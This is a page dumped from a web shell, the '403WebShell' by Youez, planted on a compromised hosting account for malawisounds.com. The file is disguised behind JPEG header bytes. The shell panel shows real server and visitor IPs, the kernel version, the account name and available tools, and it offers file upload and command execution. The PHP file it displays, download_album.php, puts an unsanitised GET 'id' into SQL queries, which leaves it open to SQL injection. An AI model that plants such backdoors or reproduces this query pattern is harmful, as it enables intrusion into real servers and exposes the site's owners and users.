����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 162.0.232.25  /  Your IP : 18.189.180.236
Web Server : LiteSpeed
System : Linux premium276.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : kwacuqig ( 988)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/kwacuqig/malawisounds.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/kwacuqig/malawisounds.com/download_album.php
<?php
include'connect.php';
error_reporting(0);
set_time_limit(0);

if(isset($_GET['id']))
{	 
	$id=$_GET['id'];
	$query="SELECT `music`,`downloads`,`normal_size` FROM `ulbum_music` WHERE `id`='$id'";
	if($sql_run=mysqli_query($conn,$query))
	{	
		if(list($name,$downloads,$size)=mysqli_fetch_array($sql_run))
		{
			$path='album_songs/'.$name;
			if(!file_exists($path))
			{
				die("File not found");
			}
			else
			{
				header("content-Description: File Transfer");
				header("content-type:application:octet-stream;");
				header("content-type:application:octetstream;");
				header("Content-Disposition: attachment; filename=".basename($path)."");
				header("Content-Transfer-Encoding: binary");
				header("Connection: Keep-Alive");
				header("Expires: 0");
				header("Cache-Control: must-revalidate, post-check=0");
				header("Content-length: ".filesize($path));
				header("pragma: public");
				readfile($path);
				//incrementing downloads by 1
				$increment=++$downloads;
				//updating downloads table
				$query2="UPDATE `ulbum_music` SET `downloads`='$increment' WHERE `id`='$id'";
				if($sql_run2=mysqli_query($conn,$query2))
				{
					exit();
				}
				else
				{
					die(mysqli_error($conn));
				}
			}
		}
	}
	else
	{
		die(mysqli_error($conn));
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit